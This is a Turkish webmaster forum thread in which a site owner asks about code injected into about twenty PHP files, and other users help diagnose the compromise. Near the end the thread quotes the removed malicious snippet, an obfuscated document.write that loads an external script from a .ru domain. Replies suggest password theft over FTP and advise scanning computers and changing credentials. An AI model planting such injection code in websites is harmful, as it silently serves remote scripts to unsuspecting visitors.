Bu Kod Ta Neyin Nesi?

Ben pek anlamıyorum ama sanki site yönlendirmesi gibi geldi

THR dedi: ↑

Ben pek anlamıyorum ama sanki site yönlendirmesi gibi geldi

Bu kod yüzünden google la başım belada :)

o sayfadaki javascript kodunu sitene çağırıyor ancak öyle bir sayfa şu an yok, ne var acaba içinde bakayım diye gitmeye çalıştım ama ulaşamadım.

server'da ki bir virüs sebebiyle eklenmiş olabilir, webmasterınla bir konuş istersen. :wink:

Muhtemelen serverde virüs var. Ücretsiz hosting kullanıyorsan o zaman server kendisi de ekler bunu reklam için. Ama site ru uzantılı yani rusya kaynaklı. Virüs olma ihtimali yüksekmiş.

Şuan için aktif değil ama. *.js dosyasının içi boş.

Tarayıcı olarak chrome kullanıyorum.Dünde herzamanki gibi siteme girdim ve karşıma aşağıdaki resim çıktı.Çok şaşırdım çünkü neredeyse son bir haftadır sitemin yönetim paneline bile girmemiştim.

Sonra tarayıcının yükleme çubuğunda bu kodta verilen ve buna benzer bir tane daha şeyin yüklenmeye çalıştığını gördüm. Çok anlamamkla birlikte sitedeki dosyaları bir inceleyeyim dedim ve bu kodun index.php başta olmak üzere neredeyse 20 dosyaya daha bulaştığını gördüm.ve sitedeki tüm dosyaları bilgisayarıma indirip tarattım ama virüse rastlamadım(orj kaspersky 2010 is.)
Daha sonra bu kodları silmeye başladım ve resimdeki uyarının kaybolduğunu gördüm...bu yüzden bu kodun ne işe yaradığını merak ettim...
Not: ücretli server kullanıyorum..
cevaplar için teşekkürler..

Anlaşıldı ki virüsmüş. :) Hostingi windows server üzerinden mi almıştın?

keyloger dedi: ↑

Anlaşıldı ki virüsmüş. :) Hostingi windows server üzerinden mi almıştın?

Hayır linux server kullanıyorum.

yesil116 dedi: ↑

Hayır linux server kullanıyorum.

O zaman büyük ihtimal sql injection'la falan girmiştir, sayfanın altından silsen'de tekrardan ekleyecektir. Wordpress kullanıyordun sanki yanlış mı hatırlıyorum? :)

keyloger dedi: ↑

O zaman büyük ihtimal sql injection'la falan girmiştir, sayfanın altından silsen'de tekrardan ekleyecektir. Wordpress kullanıyordun sanki yanlış mı hatırlıyorum? :)

Hayır wordpress kullanmıyorum site php ile yazıldı.

İşin enteresan yanı bu uyarıyı sadece chrome da ve neredeyse 30 tıklamada 1 yada 2 defa alıyordum.dün kodları sildim dünden beri uyarı yok.Ve şuana kadar tekrardan eklenmedi.İnşallah eklenmez.

Birde şöyle birşey vardı onuda sildim :)

function phpads_deliverActiveX(content)
{
	document.write(content);	
}
document.write('<sc'+'ript type="text/javascript" src="http://starvingarctic.ru/Finder.js"></scri'+'pt>');

admin sayfana /wp-admin yazarak ulaşılıyor olması beni yanıltmış olabilir. :)

siteyi kendin yazdın her hangi bir script değişiklik yapmadıysan... arkadaşların anlattığı gibi java script reklam araması gibi bir şey bu...scripti indirelim bakalım içine ne yazmış...

Script sanırım belirli bir referrer olmadan açılmıyor, bu nedenle de içi boş. Siteye FTP ile yükleme yapan birisinin bilgisayarından da bulaşmış olabilir bu virüs. Her halükarda sunucunun ve siteye bir şekilde FTP veya SFTP ile yükleme yapanların bilgisayarlarının virüslere karşı taranması ve FTP/Shell şifrelerinin değişmesi gerekir.

sitene başka siteden bir javascript kodu ekliyor ve bu js dosyası sitende bir çok zararlı iş yapabilir. elmacık'ın dediği gibi FTP ile bulaşmış olma ihtimali çok yüksek. Tavsiyem FTP programları kullanmaman olur. Ben de çok sıkıntı yaşadım sonra aklım başıma geldi :) FTP programları şifreleri kaydediyor, virüsler de bu şifreler sayesinde kolayca eklenebiliyor...
CPanel deki uploader'ı kullanıyorum, uzun zamandır hiç sorun yaşamadım...